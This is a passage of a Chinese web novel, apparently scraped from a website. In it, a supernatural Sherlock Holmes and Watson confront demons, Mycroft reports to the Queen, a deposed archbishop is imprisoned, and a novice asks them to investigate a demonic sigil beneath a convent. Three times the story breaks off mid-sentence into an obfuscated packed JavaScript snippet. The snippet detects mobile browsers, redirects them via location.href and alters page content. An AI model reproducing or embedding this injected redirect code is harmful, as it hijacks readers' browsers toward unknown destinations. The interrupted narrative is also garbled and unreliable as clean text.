“这就是当时的尸检为何显示，她的舌头已经断了的原因。” 歇洛克说道： “哪怕是现在，灵魂不全的她依旧本能地担忧着你。” “她已经将属于神秘侧的罪孽揽过。” “切断联系，是为了让你彻底遗忘所有的超凡知识，你会变成最普通的人，忘记自己还有一个妹妹，也忘记莱文蒂家族曾经在神秘侧留下的诸多知识遗产，但你的灵魂将被她拯救，不再在绝望的深渊中继续被折磨。” 保罗空洞地看向天空。 “囚禁她的不是荆棘，也不是魔鬼……是我啊……” 他想让妹妹重回人世的想法禁锢了这本该享受安宁的她，他最后不顾一切的私欲又污浊了纯洁无瑕的灵魂。 他不是谋害索菲的凶手，却也成了犯下罪恶的帮凶。 保罗看着那不断要毁掉一切的巨大怪物，看见了自己的妹妹依旧不曾回头，就像他被关在这栋房子里时，她从未见过自己一样。 她用无声的行动告诉他。 该放手了，该结束了。 犯下罪过，就应当赎罪。 保罗·莱文蒂嚎啕大哭起来。 他已经太多年没有流过泪，直到今日才再度泪流满面，哽咽不止。 此刻手中没有笔，他用自己流血的手指在那叠文件上签下自己的全名。 火焰从那份契约的底部往上烧去，一并点燃地面上的所有荆棘后，也将最大的那只柳条人点燃。 巨人的火光在深夜的雾气中亮得刺眼，烈火焚烧带来的浓烟呛得人不得不倒退几步。 关于索菲·莱文蒂的一切开始在保罗的脑海中褪色。 明明曾经在一起那么鲜活的记忆，现在开始变得模糊。 切骨的感情逐渐转淡，他甚至开始遗忘自己为什么会在陌生的英国，做着自己以前绝对不会做的诡异仪式。 在彻底遗忘前，保罗疯了一样也要冲进那火海之中。 可就在他一脚迈入其中的时候，火光里有一个模糊的女子身影将他重新推了出来。 保罗倒在地面上，看着她。 看着她的身影越来越淡，也越来越轻盈，像是真的前往了人们口中所说的天堂。 “索……” 他的眼泪怎么也止不住，可那个曾经对于自己很重要的名字，怎么也无法再清晰地回忆，甚至连其代表的人也不知是谁。 【人类真是麻烦……但总算是把力量收回来。】 萨麦尔咬牙。 【玛门那家伙……】 【不，现在我急需的是一个合适的容器，再不抓紧时间，先机就要被玛门和路西法抢完了。】 “抓住祂！” 弗雷德里克怒吼。 寒光冷冽的长剑比骑士枪更快一步，要将那扇伫立在半空中的胎盘之门钉死在原地。 约翰和雷斯垂德当即拔/枪。 子弹离膛，但被门边附近的荆棘挥开。 荆棘们发出哭喊一般刺耳的尖叫，在被秘银和圣水全数侵蚀枯萎前，紧紧裹住了那扇血肉之门。 歇洛克身形迅捷，踩着残砖碎瓦就已经逼近了那扇门。 一根手杖拖着残影甩了出去，勾住那扇门的把手。 “给我——留下！” 【你留不住我！】 暴怒的魔鬼撕破自己平静的伪装，祂愤怒地尖叫着。 【玛门！你难道真想让这残片反客为主！】 狂风骤起。 浓雾与尘埃在霎时间蒙住了所有人的五感，极其遥远的头顶位置传来一阵叹息。 【你这些年收集到了不少灵魂，应该能凑成另一半的‘钥匙’。】 【萨麦尔，如果你还想继续和我合作，就要拿出你的诚意。】 火光四溅，燎的人感觉皮肤发烫。 抑或者并非是火焰灼烧的痛，而是某种更强的存在降临于此。 黑夜被金光剖开一条缝隙，如同盒子被悄然打开些许。 一只眼眸藏于天幕之后看着他们。 部分人类会因为这短暂的一瞥而痛苦发疯。 细小的白色绒毛代替了荆棘的绿芽从皮肤毛孔中生长，匍匐于废墟泥水中的人像是朝圣的信徒，哭喊着要往那条天际的缝隙爬去。 约翰感觉一阵头晕目眩，像是重新回到了那间被大火烧毁后的剧院里。 “低头！” 医生第一时间将四周所有人的头压下。 但更多的人还在坚持不懈地往眼眸所在的位置爬去。 不管自己的手脚是否流血受伤，也不管自己是否会变异成畸形的怪物，他们都坚持不懈地往那典雅美丽的金色存在爬去。 头发半白的高大骑士抬眼死死盯住了空中的美丽金色眼球。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15097921|157846||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 天堂入口……” 他想起不久前女王单独召见自己时说的话。 那时他简直不敢置信，但今夜亲眼所见，让他不得不相信这个真相恰如福尔摩斯兄弟两人所推理的那样。 雷斯垂德感觉自己的手抖得厉害。 他算不上福音教的信徒，但他知道这庞然大物在英国乃至全欧有多少极度虔诚或是隐藏潜在的教众。 他也知道有多少队员就是靠着圣经里的那些话，才熬过漫长的黑夜，没有丧命于那些恶魔或超凡生物的手中。 主爱世人，天使是主的使者，会接引虔诚者回到永无灾厄，只有快乐的天堂。 但现在…… 天堂怎么会接纳一个魔鬼…… 怎么可能接纳一个犯下无数滔天罪恶的魔鬼？！ 这难道也是主对凡人的惩罚吗？ 是因为守夜的牧羊犬并未尽职，所以就要将狼主动放进羊圈吗？ 雷斯垂德听到自己头脑中的某根弦，正像绞刑架上拉紧的绳索，就差最后几秒就会彻底绷断。 下一刻。 “这不是你们的错，也不用再看下去。” 医生的手仍旧温暖。 他将他们的头按下去，吐字清晰地说道： “这里是人世，这里是现实维度。” “人才是这个世界的主导。” 这个令人震惊的事实真相是需要花费时间去接受的，之前的他看到这一幕时，何尝不是落荒而逃。 不过这一次他与歇洛克一起并肩抬头看去。 渺小的人与天幕之外那颗偌大的眼瞳对视着。 对方似乎也发现了他们。 那颗眼瞳微微眯起，像是在观察着下方的人类，又像是在似笑非笑地思索什么。 【歇洛克·福尔摩斯。】 【约翰·华生。】 【来日让我们在伊甸园中再见。】 世界瞬间陷入黑暗之中。 那不是普通的夜色，而是绝对伸手不见五指的黑暗。 所有的光线、声音，乃至时间的流逝都被切断。 在人类无法观察到的角度，【某种力量】要带走那扇被锁链牢牢捆住的血肉之门。 ——别想走！ 约翰强迫自己动起来，哪怕现在什么也看不见，也触摸不到，但他还是朝着自己记忆里那扇门的方向扑过去。 咔哒。 某刻，光线与声音同时回归。 约翰的手搭在某件物品的边缘，又落空。 眼前除了遍地的废墟，和熊熊燃烧的巨大柳条人外，再也不见那扇诡异的血肉门扉。 倒下的队员们皮肤和耳鼻处都长出了细微的绒毛，如果“接受注视”的时间再长些，可能他们就会彻底长出翅膀，变成和油画里一样的天使。 雷斯垂德和弗雷德里克面色难看地起身。 暴怒的魔鬼必定是和谁做了交易，在付出一定代价后才能逃离此处。 “福音教会里有叛徒。” 弗雷德里克看着自己身后几乎不成人形倒下的战友们，几乎快把牙都咬碎。 雷斯垂德沉默不语，像是在思考什么。 约翰深吸一口气，回头对歇洛克伸出手。 “歇洛克，我似乎抓到了什么线索。” 侦探看过去。 一枚残缺的红玫瑰花瓣静静躺在医生的掌心。 这上面除了残留萨麦尔的气息外，还有…… “很熟悉的气息。”歇洛克喃喃自语。 57.57 “和女王陛下当面汇报，还真是……” 雷斯垂德感觉自己从那间气氛肃穆的书房内走出来的时候，腿还在发软。 即便他已经是第四小队的负责人，职位也因为怪癔那次的事情高升，但对比其他小组的负责人，在经验和履历上仍旧显得相对稚嫩。 毕竟，在几年前，他还是只能仰望这些前辈的人。 但现在他已经需要和他们并肩而立，担负起那些曾经看来无比艰巨的重担。 迈克罗夫特不紧不慢地和他同行一段道路。 “只不过是一次简单的情报交换和汇总，不是吗？” 这位面容和善，体型宽厚的男人被宫殿内的警卫时刻关注警惕着。 雷斯垂德的一位同僚快步上前，语气冰冷地说道： “这可不是容你随意放肆的地方！” 他是白骑士团其他常年在外的小组负责人，见到雷斯垂德与迈克罗夫特并行的时候，脸上露出难以理解这种行为的反感。 在他看来，即便这个生物披上了和人类一样的外皮，可对方依旧是某种无法用常理理解的超凡生物，就如恶魔一样，它们或许随时都有可能撕开和善伪装的外表，反咬周围任何人一口。 迈克罗夫特看着他，微微眯起眼。 雷斯垂德心中一紧，急忙挡在他们中间。 “西蒙斯先生！” 迈克罗夫特并未将那些难听的挑衅之言放在心上。 他挥挥手。 “我也不会对一位刚在战役里失去很多士兵的将领发怒，更何况他的妻子也死于这场由魔鬼引发的灾难之中，而他还有一个年幼的女儿需要单独抚养。” 西蒙斯的手指痉挛了一下。 对方只用一眼就看穿了他极其糟糕的近况，即便雷斯垂德曾说过，这是观察和推理，但他依旧觉得这像是某种极为恐怖的法术。 这时。 “西蒙斯队长。”女王身边的秘书从后方急匆匆地迈步赶来，“请您停步，陛下需要您立刻回头，对接下来的事情再做讨论。” 这位黑眼圈明显的秘书看起来已经加班很长时间。 不过一种持续笼罩在这座宫殿，这座城市，甚至是这个国家上空的紧迫感，让他完全不敢懈怠。 “雷斯垂德队长。” 他又对雷斯垂德点点头。 “陛下也让我叮嘱您，最近这段时间请保持联络的畅通，她会在适当的时候请您再度来到这里。” 雷斯垂德连忙点头。 最后秘书看向迈克罗夫特，恭敬地说道： “陛下托我向福尔摩斯先生再询问。” “‘贝克街的居民会在最后如何选择？’” 迈克罗夫特笑得和善。 “这不是我的工作范畴。” “如果女王好奇，何不委托我的弟弟前去询问一番？或者，他的房东哈德森太太，应当会乐于帮忙解答。” “当然，女王若是不适合出面，我的建议是，福诺克公爵也是个不错的人选。” 秘书点点头。 “感谢您的解答，我将会向陛下转达。” 大气不敢喘的雷斯垂德直到离开这里，才缓缓深呼吸一口气。 “我简直不敢相信……你竟然如此从容镇定！” 迈克罗夫特说道：“对于我而言，这次谈话和在俱乐部的陌生人房间里的任何一次都没有区别。” 雷斯垂德脸上的震惊更明显了。 “我当初还不相信医生和我说，你与歇洛克是兄弟，但现在看来……你们之间真的很相似。” 迈克罗夫特说道：“哦……如果你拿我和歇洛克作比较，那我们还是有许多不同的。” 他们身后的宫殿安静伫立在晨光之中。 不知不觉，这次会谈竟然持续了一天一夜，直至现在还有不少人被女王留下在讨论接下来要做的某件重要之事。 “那么，迈克罗夫特先生，需要我接下来捎您一起回家吗？” 雷斯垂德问。 迈克罗夫特摇头，“谢谢你的好意，不过我接下来需要去贝克街一趟。” “是为了找哈德森太太？” “当然不是，我刚说过这不在你们雇佣我要做的工作范畴内。”迈克罗夫特说得很坦白直率，“我需要去找我的弟弟，理一理在莱文蒂兄妹这件事里发现的有趣线索。” 雷斯垂德下意识看向距离宫殿不远处的圣保罗大教堂。 那是福音教在整个伦敦，也是在整个国家最重要的心脏枢纽。 “是和……有关吗？” 他省略了中间的音节。 “有一定关联，不过要更深层次些。” 迈克罗夫特说道： “如果这件事被确定为真，那么接下来好几个月的报纸头条可就不是我的弟弟歇洛克做主角了。” 虽然他这么说着，可神情丝毫不像刚刚宫殿里的那群人那样，脸上是如临大敌的紧张。 他甚至是很期待的。 期待着接下来即将发生的某事。 迈克罗夫特笑道： “最有趣的悬念，总是要留到精彩故事的最后才揭晓。” “成为故事中的一个角色，倒也是有趣……也让我一起看看最后的结局是什么吧。” *** 贝克街221B。 当蒸汽推动着大本钟内部的铁锤，狠狠击打金属锣面敲打第四下的时候，公寓里迎来了一位意料之中，也在意料之外的客人。 约翰有些惊讶地打开门，邀请按响门铃的客人入内。 “迈克罗夫特！” “欢迎。” 歇洛克正坐在他的老位置上看报纸，面前是哈德森太太不久前刚送上来的下午茶。 “果然是迈克罗夫特吗？请进！然后请坐！” “一起来喝杯下午茶，如何？” 老太太的手艺还是一如既往美味，不知不觉里他也像约翰一样开始享受起下午茶的这段时光。 迈克罗夫特欣然入座。 “你肯定是刚从白金汉宫来。” 歇洛克的视线还在继续掠过今天的报纸。 “那位陛下是准备做出什么大动静吗？” 几天前的夜晚，在远郊那栋别墅里发生的事情，被定义为了火灾，但有趣的是，白金汉宫特意放出消息，强调了这是某些邪教成员为了谋财害命进行的人为纵火。 那对马夫夫妻已经在那场大火里丧命，保罗·莱文蒂也因为谋杀入狱接受人世的审判刑罚。 “如果你是说之前那些险些异变的白骑士团成员，皇家医学院的医师们已经对他们进行了紧急治疗，之前从万灵药成分里提取出来的药剂，应用在他们的病情上，效果居然意外不错。” 迈克罗夫特说道： “不过女王不仅要求医师们治好他们的身体，同时还要求——” 他伸手点了点自己的太阳穴。 “仿照出不少保罗签下的那种契约，让那些受到不同程度灵魂污染的人一并签字。” 亲手签下那契约，就意味着从此断绝和神秘侧的往来，不管是从魔鬼，还是天使那里都无法再获得超凡的力量。 约翰诧异。 “消除他们关于神秘侧的记忆？” 而不是像以往一样稳定他们的精神状态？ “那位女王恐怕是想做出一番不同以往的大动作。” 迈克罗夫特若有所思。 “其他的，出于工作保密需求，我就不能多说了。” 气氛因为这番话变得有些紧绷起来，但迈克罗夫特丝毫没有紧张忧虑的感觉。 他拿起一块司康，浅尝一口还能由衷称赞哈德森太太的手艺绝佳。 歇洛克放下报纸，这次主动问道： ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15101027|157846||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “也就是说我的推理和你的想法很接近？” “几乎一模一样。”迈克罗夫特笑道：“我接受良好，不知道你呢？” 歇洛克沉吟，没有回答迈克罗夫特的这个问题，反而转头看向约翰。 “约翰。” 约翰看向他们，“怎么了？” 今日是个难得的好天气，午后的阳光明媚到足以穿破浓郁的雾气，从窗外照亮他们的公寓。 贝克街外马车行驶路过声、街边摊贩叫卖声、孩子们奔跑嬉闹声不绝于耳。 在名为约翰·华生的人类到访此处后，这条街道就热闹非凡，和人世别无二样。 歇洛克的目光从窗外转回好友的脸上。 然后问了一个看似古怪的问题。 “约翰，你觉得魔鬼和人类是什么的关系？” “魔鬼和人类？” 约翰一愣。 在人们常有的印象中，大多将芸芸众生形容成纯洁的羔羊，教会中的牧师是主钦点的牧羊人，指引着羊群前进的方向。 为了保护无力的羔羊们，牧羊人又带来牧羊犬护卫羊群，这就是教会使者成立的初衷，后来也逐渐演变为成员都是拥有超凡力量的白骑士团。 而这一切成立的缘故，来自人们对魔鬼的恐惧。 魔鬼如同饿狼，一直对羊群垂涎欲滴。 脱离群体，盲目追求执念的羔羊会落单成为饿狼的狩猎对象。 这么来看，魔鬼应该是在狩猎人类。 不过歇洛克是想问这么浅显的道理吗？ 他思索了很长时间，像是隐约抓到了什么关键，可无法直接将最心底潜意识的所思所想用言语表达出来。 见约翰停顿，歇洛克不语。 迈克罗夫特并不在意地举起茶杯，对他们这对搭档说道： “这件事不用着急，在最终时刻来临前，我们还有时间慢慢思索，最后给出自己的答案。” 他轻抿了一口红茶，觉得这里的美食和风景，也和书籍一样符合自己的口味。 话题逐渐在茶水与点心之间翻篇。 在下午茶的最后，迈克罗夫特像是想起什么一样，问自己的弟弟。 “所以，歇洛克。” “那天晚上之前，我邀请你一起先去一趟下布里克斯顿，查清索菲的过往身份经历，你为什么拒绝了我，反而先去保罗所在的那间别墅？” 歇洛克说道： “梅拉斯近距离接触保罗的时候，有部分被污染的痕迹，你想先去下布里克斯顿，是预先假设了保罗就是造成一切的始作俑者。” 迈克罗夫特理所当然地说道： “他的嫌疑最大，最后不也证实，他正是导致那一切发生的源头吗？” “住在下布里克斯顿的那位先生就是证人，他的话也是最有力的证言。” 歇洛克点头。 “的确如此，但……” 他说道： “假如保罗·莱文蒂不是罪魁祸首呢？” 迈克罗夫特挑眉看着他。 “下布里克斯顿也可以是明天去，因为那位证人没有生命危险。” “可保罗·莱文蒂随时可能会因为魔鬼的变卦而死，假如他不是罪魁祸首，那将有一个活生生的生命，因为这短暂的时间差而坠入深渊地狱。” 正如他之前和雷斯垂德以及其他人说过的。 即便是很相似的“兄弟”，但歇洛克和他还是不同的。 在不知不觉里，他和医生变得更相仿起来。 遇到这种情况并非先去搜集证据，证明自己推测的真相，而是为了保护一个脆弱的可能，按耐了自己的喜好冲动。 迈克罗夫特露出些许笑意。 他喝了口红茶。 “这样啊……” 但也没有什么不好的。 【希腊译员完】 58.58 当白昼的日光将伦敦经年不散的雾气照得通透，普通人就急匆匆地踩着或许不够明亮，但足够看清前方道路的街影赶到城郊附近的工厂工作。 随后再过不到半个小时的时间，资产富足的家庭也会迎着晨光，叫女仆熄灭在家门口燃烧了一整晚的秘银蜡烛，并在洗漱后往圣保罗大教堂的方向去参加例行的祷告会。 在更遥远的方向，紧邻圣保罗大教堂不远处的王权中心建筑里，却是丝毫不见任何清晨悠闲的氛围气息。 这座宫殿里人人都像上紧了发条，无时无刻不动作迅速，但声音放轻地传递着一个又一个重要消息的进出。 女王身边最得力的秘书脚步匆匆地拿着今日的报纸，将它送到女王的办公桌上。 他低着头，以恭敬的姿势站在门外，心中多少能够猜测到陛下接下来的愤怒言语。 果然，不过多时，结束了上一个议程的女王陛下就对报纸上的消息勃然大怒。 “本笃大主教因自觉对圣经参悟不够，为洗净自己的不洁，而闭门自省？！” “我看教皇冕下这是打算以本笃大主教亵渎教义为由，将其软禁才是真！” “而白金汉宫得知消息，是从报纸上！” “该有的线人难道是一个都没有发挥应有的作用吗！” 书房里传来了瓷器落地破碎的清脆声。 但很快又是女王压抑怒火后，尽可能保持冷静理智的分析声。 几分钟后，一封收信地写着“贝克街”的电报被送了出来。 紧接着是面容严肃的西蒙斯，和步履匆匆的雷斯垂德领命先斩后奏，直接逮捕审讯多位帝国位高权重的大臣。 窗外阳光还算明媚，但已有湿润的风带来轻微的水汽气息涌上鼻尖。 秘书看见那两位先生雷厉风行的样子，心想这几天上流社会恐怕又要有多少人落马，又有多少人会趁机上位代替那些曾经声名显赫的家族名字。 下一刻，书房的门又被打开。 穿着仿佛从中世纪骑士主题油画里走出来的高大男人，面沉如水，并不言语地往刚刚西蒙斯、雷斯垂德两人离开的方向追去。 女王陛下已经给过那些家族切割自己和神秘侧的机会。 现在这不是来自女王的警告，而是女王的清算。 陛下派出最强的骑士，是为了配合精通账面清算的西蒙斯、与擅长伪装宣传的雷斯垂德进行护航，大是大非前，若有不从者，骑士长就会落下他们头顶的铡刀，让那群中饱私囊的贵族们看看教皇冕下会不会及时从断头台上救下他们。 秘书的心头一跳。 此刻，身后窗外暂时还是阳光明媚，但秘书分明已经听到狂风骤雨扑面而来的狂暴声响。 铛—— 大本钟准时响起的钟声，惊起白鸽飞向这座布满黄铜管道，流动奔涌蒸汽的城市各处。 其中一只扑闪着翅膀落在某处屋顶。 这间屋子远离城市，四周有身着白袍，绣上金丝羽翼纹路的沉默提灯人日夜巡逻。 屋子只留一扇门，一扇窗。 窗户是做工特殊精巧的七彩玻璃。 阳光落入，可见六位天使徐徐展翅，仿佛在高声歌颂主的慈悲与伟力。 实际被削去大主教职位权力的本笃，穿着极为朴素，甚至可以说是艰苦地跪在彩绘玻璃窗前。 但他脸上没有半点怨怼，只有沉沉的思索。 每时每刻，他的耳边都有不曾停歇的“天堂福音”。 今日寒风凛冽，屋外的提灯者似乎也不打算让他好过今年的圣诞节。 这间屋子没有半点取暖设备，连一件更厚实的棉衣也并未让这个年过七十的老者穿上。 白鸽轻轻用鸟喙敲了敲玻璃。 嗡鸣的呓语骤然消失。 连照映在地面上的六位天使身影也淡去，只剩更浓墨重彩的一位女士在看着席地不言不语，不知在向谁祷告的老者。 “本笃。”年轻的女士开口，语气却是长者对小辈关切的口吻：“你还撑得住吗？” 老者睁开眼。 此刻他的处境落魄，但气度并不狼狈。 他一如以前位高时的不卑不亢。 “艾琳女士。” “在最终时刻来临前，我是不会轻易倒下的。” 他笑道： “更何况，您既然联络上了陛下，那么我就被置于博弈的中心位置之一，他们是不会轻易杀了我的。” 艾琳·艾德勒点点头。 “女王已经下定决心，并做好准备。” “可惜我在外奔走很长时间，都未抓到莫里亚蒂的踪迹，眼下只能转换思路，看看能否在最后将其引出。” 本笃思索片刻，“但女士，对方不像是会不小心，在最后关头留下致命线索的存在。” “我清楚。” “不过我从那位福尔摩斯先生曾经的主意中得到一些灵感。” “‘一场大火会暴露每个人最重要的东西。’” 彩窗在地上的投影低声说道。 “如果莫里亚蒂不愿意让我们抓住踪迹，那就让这场‘大火’叫其主动现行。” 本笃微微点头。 “我明白了。” “如果有需要用到我的地方，我当万死不辞。” 即便可能在接下来的行动里失去自己的性命，这位老人的语气和心态依旧很平静。 反而是那位女士的语气流露出些许明显的波动。 “……” “本笃，我依旧觉得你还应当是个怕黑的年幼孩子。” 老者微笑。 “当年我的确是听着您的故事长大的，我经受洗礼的教堂里也依旧留着您的圣像。” “也正是因为您留下的教诲，我才能走上正确的人生道路，将那些爱与幸福传递给更多需要它们的人。” 艾琳叹息，“以主的名义吗？” “不。” 本笃依旧维持着祷告的姿势，接下来说出的话却更像是如今世人眼里亵渎神明的异端。 “仅仅是世人需要‘神’为大家带来幸福，所以我们借此宣传正确的教义，正确的方法，以希望世人能找到自己的幸福。” “如果人们某天不再需要‘神’……那我们本身就不必强求所有人的信仰。” “你长大了啊，本笃。” 艾琳低声说着。 已经年过七十的老人笑道：“艾琳女士，我现在也是一个老人了，我甚至还在修道院当了好几年的教师，也不是当初那个到天黑就躲在教堂圣女像下不敢出来的孩子。” “但实际上，现在仍旧有很多人无法理解你我刚刚说的话。”艾琳说道。 本笃沉默着，几秒后才点点头，随后用感慨的语气说道： “但那位女王不打算让神秘的温床继续膨胀成长，接下来应该 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15146510|157846||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就是快刀斩乱麻的时期。” 门外传来整齐划一的脚步声。 彩窗投影在地面上的人影逐渐变得模糊。 “本笃，照顾好自己。” “在终局来临前，不要轻易死去。” 听到长辈的叮嘱，老人点头。 门被猛然打开。 窗外一声清脆的声响，一颗子弹带走了那只白鸽的生命。 血迹泼洒在彩窗上，将投射在地面的六只天使身形也污浊成模糊的阴影。 这位曾经的大主教还是一如既往低头对着窗户祷告着。 “……没有发现异常。” 巡逻的提灯人仔细将这里检查一番，最后警惕又谨慎地重新退回屋外锁门。 寒冬的日光显得不够耀眼，但依旧有力地穿透云层和雾气照亮这座每日吞吐着大量蒸汽的巨大都市。 今天的贝克街221B再度迎来几位熟悉的客人。 哈德森太太端着准备的下午茶，走上二楼。 几位围绕客厅茶几而坐的绅士们看过来。 “哈德森太太，之前公爵询问您的那几件事，您和这里的居民考虑如何？” 雷斯垂德依旧不忘礼貌，但眼皮欲合不合，语气飘忽不定，像随时都可能端着茶杯就睡着。 哈德森太太放下托盘。 “我其实心中早做决定，不过不是所有‘人’都和我，或者福尔摩斯他们一样抱有足够的觉悟。” 约翰放下今天的报纸看过去，然后降低音量地对她说道：“哈德森太太。” 他指了指，那挂着黑眼圈，歪过头就直接睡着的雷斯垂德。 “最近真是辛苦。”老太太离开前并未叫醒他，“那之后还请医生转告他。” 迈克罗夫特继续翻过手中的书籍一页。 “歇洛克，说起之前你们在城郊别墅那里发现的花瓣，白骑士团第一组的研究员已经解析出了一些线索。” 歇洛克立马看过来。 “之前的力量来源，很难叫人不怀疑教会内部有人为萨麦尔进行掩护。” “那么现在追踪到祂逃亡的下落了吗？” “恰如你所言，另外——” 迈克罗夫特将一封来自女王书房的秘密电报压在桌面，推向侦探与医生。 “本笃大主教被教皇冕下革职，并被扣上异端的帽子。” “据说现在正要被押送审判所进行审讯。” 约翰错愕，“什么？！” 他在黑街拍卖会里对那位老人的记忆尤深，不管是为人还是谈吐，丝毫都不会令人觉得他是个疯狂的异端。 歇洛克说道： “近期的福音教会犹如疯了一样，以圣诞名义反向信众收敛财物，甚至与部分地区的财政官串通一气，公然违背王令。” “时近寒冬，伦敦之外死于寒流和饥饿的人群不在少数，但不少教会公然拒绝在最冷的这段时间开放教堂给无家可归者避寒，只因教皇冕下几日前公开宣布，今年圣诞有预言说，这是主即将派遣祂的天使降临的重要日子，‘污秽不洁之人不可进入教堂’，否则就会玷污纯洁的信仰，天使会立刻离开这里，不再继续将主的赐福予以世人。” 他的语气里带着针扎一样的讽刺。 “当窗明几净的教堂里燃着柴火，享受冬日里温暖的幸福时，那些人似乎并没有想到将这些幸福像教义里说的那样分享给需要它们的人。” 59.59 当时间兜兜转转来到圣诞节前几日的时候，贝克街221B迎来一位身份有些特殊的客人。 约翰看着眼前这位少女的面容，记忆瞬间被拉回刚从黑街拍卖会那扇门后出来的时候。 “哦——你是那时跟在本笃大主教身后的那位女士！” 对方摘下自己的斗篷兜帽，露出一双明亮的眼睛和柔顺的棕色长发。 今天她没有穿那身纯白绣以金丝的教会修女服饰，反而打扮得更像个怕冷的都市淑女，这让约翰没有在歇洛克提醒前第一时间认出她来。 “贵安，福尔摩斯先生，华生先生。” 她用挑不出半点错误的姿势行礼，然后说道： “很冒昧今日没有预约就上门打扰。” 歇洛克放下自己的烟斗。 拜访这间公寓的人大多并非寻常客人，他和医生也不是对这种小事斤斤计较者。 “不用自责。” “所以是修道院里发生了什么？” 少女诧异。 侦探看向她。 “这位年轻的女士，看得出你在生活中是个非常有条理的人。” “但今天的你明显是做了伪装才外出，鞋边的泥土还沾着些许木屑草叶，说明你是爬树出来的。” “衣摆袖口都做了整理，但用的布料是教会特别定制的，结合你的年龄，这是你不久前在修道院内请裁缝定制的私服。” 他有条不紊地分析。 “本笃大主教被革职囚禁的消息，在外看来只是他忽然宣布需要潜心祷告，不再面对教众，但总有人多少已经知晓些许内情。” “本笃大主教不仅是你的老师，恐怕更是你的救命恩人，你不可能不知道他被人诬陷的事情。” “但你不是冲动的人。” “现在你的老师深陷教会与王权争锋的最前线，那暂时不是你我能够插手的战场，你今日来此拜访的目的恐怕和修道院关系更大。” “正如你所料，福尔摩斯先生。” 少女说道： “我的名字是桃瑞思·布朗。” “今日来此，也是想请您这位料事如神的侦探，调查我目前就学的修道院中出现的传闻，和可能发生的怪事。” “传闻，和可能发生的怪事？而且是在修道院中吗？” 约翰起初有些疑惑，但过了片刻又反应过来。 即便是修道院也不是完全纯洁无瑕的象牙塔。 修道院一般是由教会组织建立的教育机构场所。 各地都有，那里不仅教授各项基础知识，也会教导圣经教义。 在普通群众的眼里看来，修道院也是和教会一样神圣的地方，在那里修行学习的师生应当也是将自己的身心献给主的虔诚者。 但实际上，自从十几年前教会财政逐渐囊中羞涩，修道院形式的教育场所被就一改再改。 目前诸多重要城市内更流行大学这种教育场所和方式。 不过在伦敦，有圣保罗大教堂背板的情况下，圣玛丽珍修道院依旧是上流社会里不少家庭渴望进入的地方。 并非因为虔诚的信仰，而是为了能够在毕业后，直接被福音教会安排进入各大重要教堂，甚至接触在上流社会里不被明说，但依旧广为人知的神秘力量，如此来为个人与家族带来取之不竭、用之不尽的巨额财富。 桃瑞思说道： “圣玛丽珍修道院，与圣保罗大教堂关系密切，不少学生毕业后会直接进入重要的教堂任职，当然，在职的教师中也有不少就是德高望重的牧师或主教。” “它也是唯一一所能够在平安夜，进入圣保罗大教堂表演的修道院。” 歇洛克问道：“那么布朗小姐，你说的怪事是指？” “是流传在我们学生之间，一个经久不歇的传闻。” “能够被选中进入唱诗班，去圣保罗大教堂表演，将是无上的荣耀。” “但如果在平安夜的表演之后，又一次被选中在圣诞节夜晚的表演……那就会被拉入地狱。” “学生们将其称为‘圣诞节诅咒’，说那是魔鬼的邀约，看似接受就能获得荣华富贵，但也会在某日付出代价莫名消失或是死亡。” 桃瑞思慢慢说道： “即便教师们一再强调，不要以讹传讹，但这个传闻依旧在每年快到圣诞的时候都会兴起。” “既然你主动提及，想必传闻不是空穴来风。” “布朗小姐，你掌握了什么线索，才特意冒险伪装自己，翻过修道院的高墙来委托我们进行调查？” 歇洛克看向她。 “是仪阵。” 桃瑞思低声说着。 “我在修道院前往教堂的道路下发现了仪阵的纹路。” “巨大的，足以囊括整个修道院的仪阵。” “哪怕只是看到仪阵的一角，我也能看出它指向的并非主与天使，而是某个魔鬼！” 约翰背后骤然生出冷汗。 歇洛克十指互相交叉，抵在自己的下颚处。 他沉吟片刻，像是在思索什么。 桃瑞思说道：“如果两位能够接受我的调查委托，我会备好丰厚的报酬，不会让两位空手而归。” 侦探和医生互相对视一眼。 歇洛克摇头，“不，并非是报酬的原因。” “实际上，就算没有布朗小姐你这次的委托，我们也需要想方法进入圣玛丽珍修道院进行另外的调查。”约翰面露难色，“问题是，该如何进入圣玛丽珍修道院。” 因为昨天迈克罗夫特给他们带来情报，之前约翰抓住的那一点线索，指向暴怒的魔鬼可能藏身的地点就在圣玛丽珍修道院内。 但那里可不是黑街之类的地方，仅凭一张伪造的通行证就能入内。 加之，目前教堂和皇宫剑拔弩张的紧张状态，陌生面孔想要入内更是难上加难。 桃瑞思想了想，提议道： “如果是这件事，倒也没有问题。” “平安夜那日，修道院会对学生亲属开放，我会向院长担保，以两位是我远房叔叔的名义邀请入内。” 